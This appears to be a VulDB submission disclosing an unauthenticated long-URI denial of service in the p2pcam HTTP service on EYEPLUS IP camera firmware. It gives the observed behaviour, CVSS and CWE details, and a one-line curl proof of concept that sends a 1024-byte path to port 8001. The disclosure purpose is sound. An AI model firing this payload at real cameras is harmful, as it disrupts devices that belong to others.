提交 #919787: Eyeplus EYEPLUS_DEV 57.0.0.0308 Denial of Service

Unauthenticated GET with an excessively long HTTP URI path to the p2pcam service on TCP port 8001 causes denial of service on EYEPLUS IP camera firmware 57.0.0.0308.

Endpoint: GET http://TARGET:8001/<long-path>
Service: p2pcam HTTP API on port 8001

ONVIF GetDeviceInformation reports: Manufacturer=EYEPLUS, Model=EYEPLUS_DEV, Firmware=57.0.0.0308, HardwareID=aj_ipc_hc2_001 (HC1703L family).

Note on product naming: EYEPLUS_DEV is the ONVIF model string (not a retail SKU). The same OEM platform is sold under white-label names such as YCC365 Plus 1620P WiFi IP Camera (AliExpress item 1005006666714240).

Observed behavior on tested device:
- Path 64/256 bytes: HTTP 404
- Path 512 bytes: no response (hang/timeout)
- Path 1024+ bytes: Connection refused on port 8001; ports 80, 554, 6670, 8001 unresponsive for ~1 minute, then recovery without reboot

Remote code execution was NOT confirmed on tested firmware. Behavior is consistent with stack overflow class issues in the same p2pcam HTTP parser reported for other OEM devices (CVE-2024-51348).

Impact: LAN attacker can temporarily disrupt all camera network services.

CWE-400, CWE-121 (suspected, DoS only confirmed). CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (6.5 Medium)

PoC (WARNING: may crash camera - test on owned device only):
curl -s --max-time 5 "http://TARGET:8001/$(python3 -c 'print(\"A\"*1024)')"

References:
https://github.com/devjanger/iot-advisories/blob/main/EYEPLUS-8001-Long-URI-DoS.md
https://github.com/devjanger/iot-advisories/blob/main/EYEPLUS-GetUsers-Unauth-Plaintext-Password.md
https://github.com/devjanger/iot-advisories/blob/main/EYEPLUS-8001-Unauth-Snapshot-Disclosure.md
https://nvd.nist.gov/vuln/detail/CVE-2024-51348
https://www.ycc365plus.com/en
https://ko.aliexpress.com/item/1005006666714240.html

• 来源: ⚠️ https://github.com/devjanger/iot-advisories/blob/main/EYEPLUS-8001-Long-URI-DoS.md
• 用户: Janger (UID 97645)
• 提交: 2026-08-09 17時04分 (2 月前)
• 管理: 2026-09-27 11時26分 (2 months later)
• 状态: 已接受
• VulDB条目: 410859 [Eyeplus 57.0.0.0308 p2pcam HTTP Parser 内存损坏]
• 积分: 20